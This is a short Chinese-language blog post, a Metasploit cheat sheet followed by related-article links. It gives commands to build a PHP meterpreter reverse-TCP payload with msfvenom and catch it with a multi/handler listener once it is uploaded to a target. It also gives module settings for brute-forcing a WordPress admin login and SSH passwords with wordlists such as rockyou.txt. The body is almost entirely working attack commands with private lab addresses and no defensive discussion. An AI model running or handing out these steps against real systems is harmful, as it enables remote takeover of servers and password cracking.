metasploit framework

1，制作一个反弹shell，来执行服务的命令，并监听

(能在浏览器上直接访问的就制作php的，可以使用命令执行的建议使用 python型的)

（制作python型的只需要把php改为python就可以了）

msfvenom  -p php/meterpreter/reverse_tcp lhost=192.168.11.166 lport=4444 -f raw

-p 指定使用模块 -f raw 显示源代码

使用msfconsole监听

msfconsole
use exploit/multi/handler                     //使用 这个攻击模块
set payload php/meterpreter/reverse_tcp      //设置payload
show options
set lhost 192.168.11.165
run

然后上传并执行反弹shell代码

在监听端就会显示相应内容

2，暴力破解wordpress的password

msfconsole
use auxiliary/scanner/http/wordpress_login_enum
show options
set username admin
set pass_file /usr/share/wordlists/dirb/comment.txt
set targeturl /secret/
set rhost 192.168.11.170
run

其中如果不知道 username 可以用 wpscan 先进行暴力破解 username

3，暴力破解ssh的登录密码

msfconsole
use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 192.168.1.106set username hadiset pass_file /usr/share/wordlists/rockyou.txt    //设置字典set thread 10show optionsrun

metasploit framework相关推荐

Metasploit Framework(MSF)的使用
目录 Metasploit Metasploit的安装和升级 MSF中加载自定义的exploit模块漏洞利用(exploit) 攻击载荷(payload) Meterpreter MS17_010( ...
Metasploit Framework 简介与使用
Metasploit Framework是一个编写,测试和使用exploit代码的完善环境.这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl ...
Metasploit Framework（1）基本命令、简单使用
文章的格式也许不是很好看,也没有什么合理的顺序完全是想到什么写一些什么,但各个方面都涵盖到了能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道基本的控制台命令介绍: banner 查看metasp ...
metasploit下载教程linux,在Debian 10/9系统上安装Metasploit Framework的方法
本文介绍在Debian 10/9操作系统上安装Metasploit Framework的方法,以脚本的方式安装,全程相当的简单,按照以下步骤操作即可. 在Debian 10/Debian 9上安装Me ...
Metasploit Framework（6）客户端渗透（上）
文章的格式也许不是很好看,也没有什么合理的顺序完全是想到什么写一些什么,但各个方面都涵盖到了能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道前五篇文章讲解了Metasploit Framewor ...
windows上安装Metasploit Framework 4.0
今天在给朋友的windows上安装Metasploit Framework 4.0的时候出现以下错误: Error running C:\Program Files\Rapid7\framework/ ...
Metasploit Framework Handbook
文章目录前言 MsFramework Metasploit 诞生发展体系结构功能阶段工具管理基本命令情报搜集网络服务渗透测试 Refference 前言众所周知Metasploit工具 ...
Metasploit Framework（MSF）基础框架
Metasploit简介 Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗 ...
Metasploit Framework下的Exploit应用开发中文手册
为了方便大家手记,以下内容有PDF转化而来,如果不方便阅读或遇错,请下载PDF版本阅读! 作者:gz1x [gz1x@tom.com] [目录] 目录----- ...
【无标题】Metasploit Framework（更新中······）
MSF 默认集成于Kali Linux 之中使用postgresql数据库存储数据 – 早期版本需要先启动数据库再启动msf MSF架构 MSF架构 Rex – 基本功能库,用于完成日常基本任务,无 ...

metasploit framework

1，制作一个反弹shell，来执行服务的命令，并监听

2，暴力破解wordpress的password

3，暴力破解ssh的登录密码

metasploit framework相关推荐

最新文章

热门文章